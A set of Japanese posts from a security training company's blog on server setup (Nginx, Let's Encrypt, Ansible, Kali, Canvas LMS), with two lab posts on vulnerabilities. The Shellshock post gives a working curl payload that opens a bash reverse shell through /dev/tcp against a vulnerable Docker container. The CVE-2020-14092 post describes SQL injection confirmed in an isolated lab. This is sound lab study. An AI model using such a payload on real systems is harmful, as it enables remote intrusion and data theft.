Armoris日記 NGINX Reverse Proxy編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

NGINX でリバースプロキシ

先週はウェブサイトの HTTPS化について書きましたが、今週の Armoris日記はウェブ繋がりで Nginx を使ったリバースプロキシのやり方について解説したいと思います。リバースプロキシは使えるようになると非常に便利な機能であり、ウェブサイトのセキュリティ向上につながる場合もあります。

NGINX Reverse Proxy 公式ドキュメント

環境紹介

今回は VirtualBox を使用してNginx サーバーと WordPress サーバーを用意しました。WordPress サーバーは以前 Armoris日記で紹介した Ansible を使用して準備しています。
今回 WordPressサーバーには内部ネットワークインターフェースのみを設定し、ゲストOS間のみ通信ができるようにしています。
各種詳細な情報は以下の通りです。

Nginx サーバー
f:id:Armoris:20200827144501p:plain f:id:Armoris:20200827144507p:plain:w600

WordPress サーバー
f:id:Armoris:20200827144458p:plain f:id:Armoris:20200827144504p:plain:w600

Nginx をインストール

まずは Nginxサーバーに Nginx をインストールします。
今回はaptを使用してインストールを行います。
Ubuntu 以外を使用している場合は以下の公式サイトのインストール手順を参考に使用している環境に合わせて作業を行ってください。
公式のインストールに関するページ

$ sudo apt update
$ sudo apt -y install nginx

aptでインストールする場合は以上で完了になります。
最後にバージョンを表示してインストールできている事を確認します。

$ nginx -v
nginx version: nginx/1.18.0 (Ubuntu)

また、Nginx をインストールしたサーバーにアクセスすると以下の画像のようなデフォルトページが表示されます。
f:id:Armoris:20200827150718p:plain

Nginx の設定

インストールが完了したらリバースプロキシの設定を行なっていきます。
/etc/nginx/conf.dに新しくwordpress.confを作成して作業をします。

$ sudo touch wordpress.conf

wordpress.confの中身は以下のようにします。

server{
        listen 80;
        server_name hoge.com default_server;

        location / {
                proxy_redirect off;
                proxy_set_header Host             $host;
                proxy_set_header X-Real-IP        $remote_addr;
                proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
                proxy_set_header X-Scheme         $scheme;
                proxy_set_header X-Script-Name    /;
                proxy_set_header Authorization "";
                proxy_set_header X-Forwarded-User $remote_user;

                proxy_pass http://135.114.10.11;
        }
}

最後に Nginx を再起動して Nginx サーバーのアドレスでアクセスして WordPress の画面が表示される事を確認します。

$ sudo service nginx restart
$ sudo service nginx status
● nginx.service - A high performance web server and a reverse proxy server
     Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
     Active: active (running) since Thu 2020-08-27 07:16:24 UTC; 3s ago
       Docs: man:nginx(8)
    Process: 4151 ExecStartPre=/usr/sbin/nginx -t -q -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
    Process: 4161 ExecStart=/usr/sbin/nginx -g daemon on; master_process on; (code=exited, status=0/SUCCESS)
   Main PID: 4172 (nginx)
      Tasks: 2 (limit: 4621)
     Memory: 2.6M
     CGroup: /system.slice/nginx.service
             ├─4172 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
             └─4173 nginx: worker process

Aug 27 07:16:24 ubuntu20-04-server systemd[1]: Starting A high performance web server and a reverse proxy server...
Aug 27 07:16:24 ubuntu20-04-server systemd[1]: Started A high performance web server and a reverse proxy server.

終わりに

今回紹介したリバースプロキシを使う事で、ウェブサイトが動いているサーバーに直接アクセスさせなくてもサイトを表示することができます。こうすることでサイトのセキュリティリスクも低くなるのではないかと思います。
また、より複雑なアクセス制御などもできるためウェブサイトでできることが広がるのではないかと思います。

Nginx には今回紹介した以外にも多くの機能や設定項目があるため、ぜひ自分の使いやすいようにカスタマイズしてみてください。

Armoris日記 Let’s Encrypt編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Let’s Encrypt を使ってサイトを HTTPS 化する

昨今一部ブラウザの比較的新しいバージョンで、アクセスしたWebサイトが SSL/TLS 設定されていない場合、「このサイトは安全ではありません」というような警告が表示されるようになっています。
このような警告が出たからと言って、必ずしも当該サイトに危険性があると言うわけではないのですが、サイトの訪問者の中には不安に感じる人もいると思います。

そこで今回は Let’s Encrypt を使用して簡単に SSL/TLS の設定を行い、サイトを HTTPS 対応のサイトにする方法を紹介します。

Let’s Encrypt についての詳しい情報はこちらの wiki をご覧ください。
Let’s Encrypt 公式サイト はこちら。

使用した環境

今回使用した環境は以下になります。
Web サーバーは Nginx を使用しています。

サーバー環境
f:id:Armoris:20200820120945p:plain

Nginx 環境
f:id:Armoris:20200820120949p:plain

Certbot
f:id:Armoris:20200820122420p:plain

事前準備

まずは Cloudflare などでドメインによる名前解決ができるようにしておきます。
画像は Cloudflare での設定例です。
f:id:Armoris:20200820120941p:plain

サーバー側で HTTPS 通信用に 443 ポートを使用できるようにしておきます。
これは利用している環境に合わせて作業を行ってください。

Certbot をインストール

Let’s Encrypt で証明書を取得するために Certbot をインストールします。

$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt update
$ sudo apt -y install certbot

Nginx の設定

Certbot のインストールが完了したら Nginx の設定を変更します。
/etc/nginx/conf.d/example.conf

server {
  listen 443;
  listen [::]:443 ssl;
  server_name example.com;

  ssl                   on;
  ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem;
  ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem;

  ssl_session_timeout   5m;

  ssl_protocols              TLSv1.2;
  ssl_ciphers                HIGH:!aNULL:!MD5;
  ssl_prefer_server_ciphers  on;

  root /var/www/html;
  index index.nginx-debian.html;
}

config の設定が完了したら Nginx を再起動します。

$ sudo service nginx restart

証明書をインストール

ここまでの手順が完了したらいよいよ Certbot を使用して証明書をインストールします。
webroot-pathドメイン名、メールアドレスは適所環境に合わせて変更してください。

$ sudo certbot certonly --webroot --webroot-path /var/www/html -d example.com -m user@user.local
    ~~~~~~~~~~~~~~~~~~~ 省略 ~~~~~~~~~~~~~~~~~~~
IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/example.com/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/example.com/privkey.pem
   Your cert will expire on 2020-00-00. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot again
   with the "certonly" option. To non-interactively renew *all* of
   your certificates, run "certbot renew"
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

証明書のインストールが完了したら https://example.com で接続できるようになります。

自動更新の設定

Let’s Encrypt の証明書は有効期限が 90日なので期限が切れる前に更新しなければいけません。手動で更新することもできますが、更新し忘れることもあるため自動更新の設定をお勧めします。

自動更新の設定が完了すると以下のように success と表示されます。

$ sudo certbot renew --dry-run
    ~~~~~~~~~~~~~~~~~~~ 省略 ~~~~~~~~~~~~~~~~~~~
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
** DRY RUN: simulating 'certbot renew' close to cert expiry
**          (The test certificates below have not been saved.)

Congratulations, all renewals succeeded. The following certs have been renewed:
  /etc/letsencrypt/live/example.com/fullchain.pem (success)
** DRY RUN: simulating 'certbot renew' close to cert expiry
**          (The test certificates above have not been saved.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

以上で一通りの設定が完了しました。

終わりに

冒頭でも書いた通り、最近のブラウザでは HTTPS化されていないサイトにアクセスしようとすると警告が出るようになりました。
今回紹介した方法で Let’s Encrypt による証明書の発行を行い、サイトの HTTPS化を簡単に行うことができます。

個人でサイトなどを作成した際はぜひ今回の方法を参考にサイトを HTTPS化してみてください。

Armoris日記 Shellshock編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Shellshock を手元で再現してみる

Shellshock とは Linux などの Unix系の OS環境で最もよく使われているシェルの、bash に存在する脆弱性を利用した攻撃のことで、割り当てられているCVE番号はCVE-2014-7169CVE-2014-6271です。
この脆弱性を利用することでネットワーク経由で攻撃者がサーバーに接続したり、任意のコードを実行することができます。

詳しくはトレンドマイクロさんの記事を参照してください。

今回はCVE-2014-6271の検証を行います。
今回は Docker を使用して検証環境を構築しています。
GitHub URL

環境準備

基本的に全ての手順がちゃんと GitHub の README に書かれているので、その手順に沿って作業を進めます。
今回使用した環境は以下のとおりです。

ホスト 情報 f:id:Armoris:20200814104224p:plain

Docker 情報 f:id:Armoris:20200814104229p:plain

Dockerの準備

以下の手順に沿って Docker をインストールし、dockerグループにユーザーを追加します。

$ sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
$ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
$ sudo apt-get update
$ sudo apt-get install -y docker-ce
$ sudo usermod -aG docker UserName

Git Clone と対象サーバーの起動

Docker がインストールできたら GitHub からコードをダウンロードし、攻撃対象のサーバーを起動します。

$ git clone https://github.com/opsxcq/exploit-CVE-2014-6271.git
$ cd exploit-CVE-2014-6271/
$ docker run -d --rm -it -p 8085:80 vulnerables/cve-2014-6271

サーバーが起動したか確認します。

$ docker ps -a
CONTAINER ID        IMAGE                       COMMAND              CREATED             STATUS              PORTS                  NAMES
b67d34567141        vulnerables/cve-2014-6271   "/main.sh default"   About an hour ago   Up About an hour    0.0.0.0:8085->80/tcp   gifted_jones

サーバー内にファイルを配置する

対象サーバーに侵入後に確認用としてファイルを設置します。

$ docker exec -it ContainerID /bin/bash
$ echo "secret token" > .admin_file

実際に対象サーバーに攻撃を試みる

まずはホストマシンで以下のコマンドを実行し待ち状態のセッションを作ります。

$ nc -l -p 5555

次に別のセッションのホストマシンから curl コマンドを使用して攻撃コードを実行します。

$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/localhost-ip/5555 0>&1" http://localhost-ip:8085/cgi-bin/vulnerable

攻撃コードを実行すると先程の待ち状態だったセッションが以下のようになっていると思います。

www-data@ContainerID:/usr/lib/cgi-bin$

上記のようになったら先程設置したファイルを確認します。

www-data@ContainerID:/usr/lib/cgi-bin$ cd /
www-data@ContainerID:/$ cat .admin_file
secret token

事前に / 直下に作成した .admin_file の中身が閲覧できることを確認した。

最後に

今回検証した Shellshock と言われる脆弱性は、多くの Linux システムにおいてデフォルトで使用されているシェルに存在したことで、かなり広範囲に影響が出たようです。
Shellshock のように広く利用されているソフトウェアやサービスで脆弱性が見つかった場合多くの人たちに影響を与えてしまいます。そのため脆弱性が発表された場合は脆弱性が修正されたバージョンにアップデートしたり、情報を集めて対策する必要があると強く感じました。

また、今回検証した脆弱性が発見されたのはかなり前のことですが、現在でも該当するバージョンの bash を利用している場合はすぐにアップデートすることをお勧めします。

Armoris日記 Ansible編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Ansible を利用して手軽に検証環境構築

今回使用する Ansible とはコマンド一つで手軽に環境構築が可能な構成管理ツールの一つです。
ここでは Ansible を実際に使用して、コマンド一つで手軽に WordPress の最新環境を構築する方法を紹介します。

検証環境の紹介

検証用に用意した環境は以下の通りです。

  • Ansible用 IP : 172.16.10.24 f:id:Armoris:20200806113819p:plain

  • WordPress用 IP : 172.16.10.25 f:id:Armoris:20200806113834p:plain

Ansible-server と WordPress-server をそれぞれ VirtualBoxで作成しています。
また、今回は Ansible 用のサーバーから WordPress 用のサーバーに公開鍵認証で SSH ができるようにしています。

Ansible をセットアップ

Ansible の導入は非常に簡単です。Ansible では Python を使用するため pip を使ってインストールすることができます。
現在では Python 2.x のサポートが終了しているため、Python3 の環境に合わせてインストールを行います。
用意した Ubuntu20.04 では Python 3.8.2 がインストールされていました。

インストール

まずは Ansible をインストールするために pip3 をインストールします。

$ sudo apt update
$ sudo apt install python3-pip

pip3 がインストールされたか確認します。

$ pip3 --version
pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8)

pip3 がインストールできたらいよいよ Ansible をインストールします。

$ pip3 install ansible

Ansible がインストールできたか確認します。

$ ansible --version
ansible 2.9.11
  config file = None
  configured module search path = ['/home/ansible/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']
  ansible python module location = /home/ansible/.local/lib/python3.8/site-packages/ansible
  executable location = /home/ansible/.local/bin/ansible
  python version = 3.8.2 (default, Jul 16 2020, 14:00:26) [GCC 9.3.0]

Ansible を使う

インストールまで完了したら Ansible の動作確認をします。 まずは各種ファイルを入れるためのディレクトリを作成します。

$ mkdir wordpress
$ cd wordpress

次に環境構築をしたいサーバーの情報をファイルに書き込みます。 ipアドレスやユーザー名等は環境に合わせて変更してください。

$ echo "[server]
172.16.10.25 ansible_ssh_user=wordpress ansible_ssh_private_key_file=~/.ssh/id_rsa ansible_python_interpreter=/usr/bin/python3" > host

ここまでの設定ができたら環境構築用のサーバーと Ansible を通して疎通確認を行います。
SUCCESS と表示されれば成功です。

$ ansible -i host server -m ping
172.16.10.25 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}

WordPress の環境構築

疎通確認まで成功したらいよいよ Ansible を使用して WordPress の環境を構築していきます。
まずは設定事項が書かれた yml を用意します。今回は私が普段使用しているものを例として掲載します。
これを wordpress.yml として保存します。

ファイルを作成できたら最後に以下のコマンドを実行します。

$ ansible-playbook -i host wordpress.yml -vvv

大量のログが流れた後、最後に以下の画像のように表示されます。 f:id:Armoris:20200806134604p:plain

その後 WordPress サーバーにブラウザからアクセスします。以下の画像のようにインストールページが表示されれば成功です。
f:id:Armoris:20200806135443p:plain

最後に

今回は Ansible を実行するサーバーと環境構築をするサーバーの2つを用意して行いましたが、Ansible はローカルに対しても実行可能です。
他にも Ansible には便利な機能が多くあります。興味がありましたらぜひ調べてみてください。
また、Ansible は自分で yml ファイルを書くことでいろいろな環境構築をコマンド一つで出来るようになります。さらに yml ファイルがあれば同じ環境をすぐに作成、共有することができるため、環境構築の作業が非常に楽になるのではないでしょうか。

今後は Ansible を使用して環境構築を効率化していきましょう!

Armoris日記 Kali Linux編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

VirtualBox で Kali Linux 環境を作る際の注意点

今回は VirtualBox を使用して Kali Linux の環境を作る際の手順と、ちょっとした注意点を紹介します。
Kali Linux は Virtual Box 用の .ova ファイルも用意されていますが、今回は iso ファイルを使用する方法を紹介します。

Kali Linux の公式サイト

公式で示されているインストール条件は以下のとおり f:id:Armoris:20200730183651p:plain

iso ファイルのダウンロード

まずは iso ファイルをダウンロードします。
公式ダウンロードページにアクセスすると以下の画像のように Image タイプを選択してダウンロードできます。 f:id:Armoris:20200730173537p:plain
ここで用意する環境にあったものをダウンロードしてください。
今回は一番上の Kali Linux 64-Bit (installer) を使用しています。使用しているネットワーク回線にもよりますが、大体3分ほど(20MB/s)でダウンロードが完了しました。

インストールと注意する点

iso ファイルのダウンロードが完了したら Virtual Boxでの作業に移ります。
まずは Virtual Box で 新規 を選択して下の画像のように名前やOSの種類など各種設定をします。
f:id:Armoris:20200730181528j:plain

各種設定ができたら次にメモリ容量の割り当てを決めます。
ここで注意して欲しいのが Kali Linux はメモリ容量 2GB 以上が推奨されているため、初期値の 1024MB ではなく 2048MB(2GB) に変更します。こうすることで各種ツールを動かした際でも最低限ストレスなく使用することができます。 f:id:Armoris:20200730181540j:plain

メモリ容量の設定を終えディスクの設定が完了すると、最後にディスクの作成場所とディスク容量の設定が出てきます。
ここでの注意点としてディスク容量がデフォルトの 8GB のままでは、apt をセットアップしている際にエラーが発生するということです。

この問題を回避するため、インストールの前提条件にあるようにディスク容量は 20GB以上 に変更しておきます。 f:id:Armoris:20200730181551j:plain

ディスク容量の変更が終わったら 作成 を押して仮想マシンを追加します。
仮想マシンが作成されたら、起動を押して先ほどダウンロードした iso ファイルを選択して Start を押します。
f:id:Armoris:20200730184401p:plain

iso ファイルを選択して起動した後は一般的な Linux と同じように用意したい環境に合わせてインストールをしてください。

Kali Linuxは正しく使いましょう

最後に Kali Linux について紹介しているサイトの多くで書かれていますが、Kali Linux は標準で脆弱性検証用のツールが入っています。
これらのツールは悪用することで攻撃に使用できる場合がありますが、あくまでも検証用として提供されているものになります。

自分の手元で試すことでわかることや、理解できることもあります。ツールを正しく使ってぜひいろいろな検証をしてみてください。

Armoris日記 Canvas編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Canvas LMSをお試し

現在CTFとは別に、今後DOJO内で動画コンテンツを提供したりトレーニング終了後にデジタルバッジの配布などを検討しており、これらが可能な学習用プラットフォームを探しています。

そこで今回はデジタルバッジに対応していることや、オープンソースのため手軽に使える、UI が比較的シンプルでわかりやすいという点から検討しているCanvas lmsを公式Quick Startを参考に構築してみました。

今回構築した環境

主なバージョン情報は以下の通りです。
また、今回はスクリプトを実行するだけで Docker を使用して自動でインストールできる Automated Setup ではなく Manual Setup の手順を参考にインストールしています。

Name Version
Ubuntu 20.04
Ruby 2.7.0
PostgreSQL 9.5

なぜ Automated Setup ではなく Manual Setup なのか

実際には Automated Setup で紹介されているスクリプトを使用してインストールを試みていました。
しかしスクリプト実行中にいくつもエラーが発生することや、最終的にスクリプトが最後まで実行されインストールできた場合でも、以下の画像のようにファイルアップロードの挙動がおかしかったり、サイトが壊れていたりとCanvasがうまく動作しない状態でした。 f:id:Armoris:20200721192913p:plain

また、今後実際に運用することが決まった場合は Docker ではなくサーバーに直接インストールすることになるため、おおよその手順と感覚をつかむために Manual Setup を使用しました。

Manual Setup でインストールしてみて

Manual Setup の手順を参考にインストールを進める際にも注意しなければいけないポイントがありました。それをいくつか紹介させていただきます。

1. 必ずまっさらな状態からインストールを行う

これはCanvasに限らず重要なことですが、一度他のものをインストールしたり作業した環境で構築しようとすると、バージョン違いによる干渉が起こったり別の作業で使用されたサービスが終了されておらず、意図した挙動にならない場合があります。

実際に Automated Setup で紹介されているスクリプトではインストール時にサーバー本体の DNS 設定を書き換えており、これによって名前解決ができなくなるなど他の作業に影響を及ぼしています。

以下の画像はスクリプト実行時の様子 f:id:Armoris:20200721200858p:plain

2. Dependency Installation でいくつかエラーが出る

これについては今回使用した環境が Ubuntu 20.04 だったこともありますが、実際には Rubyaptで入るもので問題ありませんでしたが、逆に postgresql はいくつか別の手順を踏むことでインストールできました。

3. サーバースペックは最低限記載されている程度は用意する

Quick Start にもディスク容量 150GB メモリ 8GB Quad Core CPU程度のスペックを用意してくださいと書いてあります。
実際にインストールするだけであればそこまでのディスク容量は必要ありませんが、メモリ容量とCPUは多めに割り当てておくといいと思います。 理由は主にcompile assets実行時の処理負荷軽減と待ち時間の短縮になるからです。

以下の画像はインストール後のディスク使用量 f:id:Armoris:20200721193328p:plain

最後に

今回に限らず公式のレファレンスが間違っていたりわかりにくいことは多くあります。そういう時に出ているエラーについて検索したり原因を突き止めたり、似ている症状から原因を見つける力というのも重要だと感じました。

また、自分がインストールする際に使ったコマンドや手順をメモとして残すことで、他の誰かが次に同じことをしようとした際のヒントになるかもしれませんし、一度自分で整理することで似たような問題に遭遇した際より早く問題を解決できるようになると思います。

今回のArmoris日記が誰かの役に立てば幸いです。

Armoris日記 CVE-2020-14092編

今回はTwitterでの情報収集中にCVE-2020-14092*1に関するTwitterのツイートを発見したので、今回の日記は、これを取り上げます。
ツイート発見時には、まだPoC*2は公開されていなかったため、技術的知見・調査スキル向上を兼ねて実際のコードを見ながら自ら調査をしてみました。

CVE-2020-14092の概要

WordPressプラグインであるPayment Form For Paypal ProのVer. 1.1.64以下でSQLインジェクションが可能になるというものです。
脆弱性に関する情報はこちらに詳しくまとめられています。

調査してみました

まず脆弱性が修正されたバージョンである1.1.65と脆弱性修正前の1.1.64で差分を確認して、どの部分に問題があったのかを確認します。

画像は、以前Armoris日記で紹介したdiffコマンドを使用して比較してみたものです。結果は一部省略しています。

$ diff -u -r 1.1.64 1.1.65
diff -u -r 1.1.64/README.txt 1.1.65/README.txt
--- 1.1.64/README.txt   2020-04-06 10:22:04.000000000 +0900
+++ 1.1.65/README.txt   2020-06-14 09:36:50.000000000 +0900
@@ -323,7 +323,10 @@
 = 1.1.64 =
 * WordPress editor block update

+= 1.1.65 =
+* Bug fixes
+
 == Upgrade Notice ==

-= 1.1.64 =
-* WordPress editor block update
\ No newline at end of file
+= 1.1.65 =
+* Bug fixes
\ No newline at end of file
・
・
・

差分を確認するとバージョン1.1.65では特定のファイルに大幅な変更が加えられていることがわかりました。 この部分が脆弱性の原因だと考えられるので(脆弱性があるので修正されているのではないか?)、そのファイルを詳しく分析すると、データベースの操作を行う処理が含まれていることが確認できました。 f:id:Armoris:20200717104144p:plain

今回の脆弱性SQLインジェクションであるため、データベースのクエリー周りを調査してみました。すると、URLに含まれるパラメータの値をそのままデータベースに渡している部分があり、そのコードが今回の原因である可能性が高いと考えました。

実際に脆弱性の再現のためプラグインを導入した環境を用意して(注:隔離された検証用環境です)、不正なパラメータが含まれるURLでアクセスしてみたところ、実際にユーザー情報を含めたデータベースに保存されている情報を不正に閲覧できてしまうことが確認できました。

以下の画面は、実際にブラウザーで不正なパラメーターを用いてデータベースに保存されたユーザー情報を表示した際の出力結果です。 f:id:Armoris:20200715185104p:plain 以下は実際に用意したデータベースにSQLインジェクションで実行したのと同じSQL文を実行した結果。

+----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url                   | user_registered     | user_activation_key                           | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+-----------------------------------------------+-------------+--------------+
|  1 | admin      | $P$B8UCCMBwHiw1PV7rhJX/9JvOlhM53p/ | admin         | admin@admin.local | http://172.20.100.120:6014 | 2020-07-15 03:19:19 |                                               |           0 | admin        |
|  2 | USER       | $P$BaHDWUrgO/fvZMU4tAG9.Jj5nCNbhi/ | user          | user@user.local   |                            | 2020-07-15 03:49:52 |                                               |           0 | USER         |
|  3 | Subscriber | $P$BK0wIIW7Zbfjv.IbClX4LaZ3vkXWmt0 | subscriber    | s@s.local         |                            | 2020-07-15 03:50:22 | 1594785022:$P$BN7PmFJN83JE7SU7sKgxTlqbnbkDqs/ |           0 | Subscriber   |
+----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+-----------------------------------------------+-------------+--------------+

調査してみて

今回は実際にコードを見てそこから調査を行ったおかげで、このプラグインが書かれた言語である「PHP」の関数や変数の書き方などについて学ぶいい機会になりました。また、自分でコードを見ながら調査することでプラグインの構造もよくわかり、知識の引き出しが増えたと思います。安全な検証用環境を構築して、脆弱性をコードから構造的に調査することで、サイバーセキュリティースキルのレベルアップになるかもしれないと感じました。(個人の意見です)

*1:CVEとは情報セキュリティにおける脆弱性や、インシデントについて固有の名前や番号を付与し、リスト化したもの

*2:PoCとは検証やデモンストレーションという意味で、この場合脆弱性の検証コードを指します